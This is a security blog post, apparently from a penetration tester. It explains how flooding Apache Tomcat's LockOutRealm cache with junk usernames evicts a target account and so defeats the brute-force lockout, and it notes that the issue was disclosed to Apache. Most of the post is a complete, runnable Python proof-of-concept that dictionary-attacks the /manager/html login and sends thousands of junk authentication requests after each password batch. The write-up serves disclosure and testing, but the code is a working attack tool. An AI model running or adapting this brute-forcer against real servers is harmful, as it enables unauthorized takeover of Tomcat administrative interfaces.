Fast Forward Brute-Forcing Apache Tomcat 6/7/8

Intro

Apache Tomcat web administrative interface often stands as a primary target during a Penetration Test due to its promising potential in case of compromise.

That is why, Tomcat 6 (and above versions) implements - by default - an “anti-bruteforcing” security mechanism (LockOutRealm*). While experimenting with this feature, I’ve identified a way around that improves the speed of the authentication attempt rate - and thus the probability of guessing the administrative password in a shorter time.

 

More Info

The “org.apache.catalina.realm.LockOutRealm” security function works as follow:

A dedicated cache memory has the role of a temporary jail for application users that consecutively fail to authenticate themselves against the administrative interface. The default configuration of Tomcat 6-7-8 indicates a cacheSize of 1000, a failureCount of 5 and lockOutTime of 300 seconds (in order to avoid DoS situations).

The conceptual flaw - from my point of view** - relies on the fact that invalid/non-existent  usernames are also added to this jail upon reaching their failureCount; this behavior can be manipulated in order to bypass this "anti-bruteforce" protection.

Indeed, an unauthenticated attacker is able to fill the cache memory with garbage entries in order to kick out the targeted username (FIFO queue). In most cases, the time needed to fill the cache memory (1000 requests x 5 - default setup) is far less than 5 minutes; depending on the network topology (internal/external point), the overall login attempts per second can be greatly amplified through this approach. Note however that a large number of log messages - at WARN level - will be generated.

 

PoC

The following python script employs this technique in order to bypass Tomcat 6-7-8 brute-forcing delay mechanism.

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# COMMENTS
#	Quick & dirty PoC:	Enchanced Apache Tomcat brute-forcer
#	To do:				Lots of things
#	Python version: 	2.7
#   Author:				Alexios Dimitriadis
#
#
import sys
from sys import argv
import time
import fileinput
import requests
import argparse
from argparse import RawTextHelpFormatter
from timeit import default_timer as timer
#
requests.packages.urllib3.disable_warnings()
#
#
#
def parsingOpt():
	"""Parsing arguments"""
	p = argparse.ArgumentParser(description='Apache Tomcat 6/7/8 smart ' + \
                                'brute-forcer (beta version)', version='v1.0')
	p.add_argument('-u', dest='ufile', 
                   required=True, type=argparse.FileType('rt'),
                   help='user list')
	p.add_argument('-p', dest='pfile',
                   required=True, type=argparse.FileType('rt'),
                   help='password list')
	p.add_argument('-d', dest='dest', required=True, 
        		   type=str, help='host (ip:port)')
	p.add_argument('-s', action='store_const', const='s', dest='proto', 
	               default='', help='use ssl')  
	opt = p.parse_args()
	return opt
#
#
#
def trashingTmct(opt):
	"""Launching dictionnary attack"""
	# Init
	failcount = 5
	lcktime = 300
	cachesize = 1000
	usrs = []
	pwds = []
	[usrs.append(u.strip('\n')) for u in opt.ufile.readlines()]
	[pwds.append(p.strip('\n')) for p in opt.pfile.readlines()]
	url = 'http' + str(opt.proto) + '://' + opt.dest + '/manager/html'
	uagent = {'User-agent': 'Mozilla/5.0 (X11; Linux i686) Firefox/3.6'}
	#
	print 'Set up "LockOutRealm" attributes: failureCount=' + \
	      str(failcount) + ', lockOutTime=' + str(lcktime) + \
	      's & cacheSize=' + str(cachesize) 
	i = 0
	for p in pwds:
		for u in usrs:
		# Bruteforcing targeted usernames
			try:
				r = requests.get(url, auth=(u,p), headers=uagent, verify=False,
								 timeout=5)
				r.verify = False
				if r.status_code == 200 :
					print '    * Lucky guess (valid creds with Gui perms): U=' \
					      + u + ' P=' + p + ' (%d)'%r.status_code 
				elif r.status_code == 401 :
					pass
				elif r.status_code == 403 :
					print '    * Bad luck (valid creds without Gui perms): U=' \
						  + u + ' P=' + p +  ' (%d)'%r.status_code
			except:
				print '    ! Warning: request timeout'
		# Flooding the cache with trash - random data
		i = i + 1
		if i % failcount == 0:
			print '[+] Password batch -' + str(i/5) + '- (completed)'
			start = timer()
			for x in range (1, cachesize+cachesize/20):
				for y in range (1, failcount+1):
					r = requests.get(url, auth=(x,y), headers=uagent,
									 verify=False, timeout=2)
					r.verify = False
			end = timer()
			# Calculating Tomcat cache flood cycle time
			if int(end-start) > lcktime:
				print '[!] Flooding the Apache Tomcat cache memory is ' + \
				      'taking too long (>=' + lcktime + 's.\n     If ' + \
				      'persistsing, abandon this approach and simply ' + \
				      'attempt 5 passwords per username each ' + \
				      lcktime + ' seconds.'
			else:
				print '    Cache flooding cycle time: ' + \
				      str(int(end - start)) + 's (remaining time: ' + \
					  str(((len(pwds)/5) - (i/5)) * (int(end - start))) + 's)'
#
#
#
if __name__ == "__main__":
	"""Go go go"""
	try:
		o = parsingOpt()
		trashingTmct(o)
	except KeyboardInterrupt:
		print 'Quitting..'

 

*https://tomcat.apache.org/tomcat-7.0-doc/config/realm.html#LockOut_Realm_-_org.apache.catalina.realm.LockOutRealm

**Apache Tomcat Security Team has been notified on 19/01/2016; this was not considered to be a “security vulnerability”.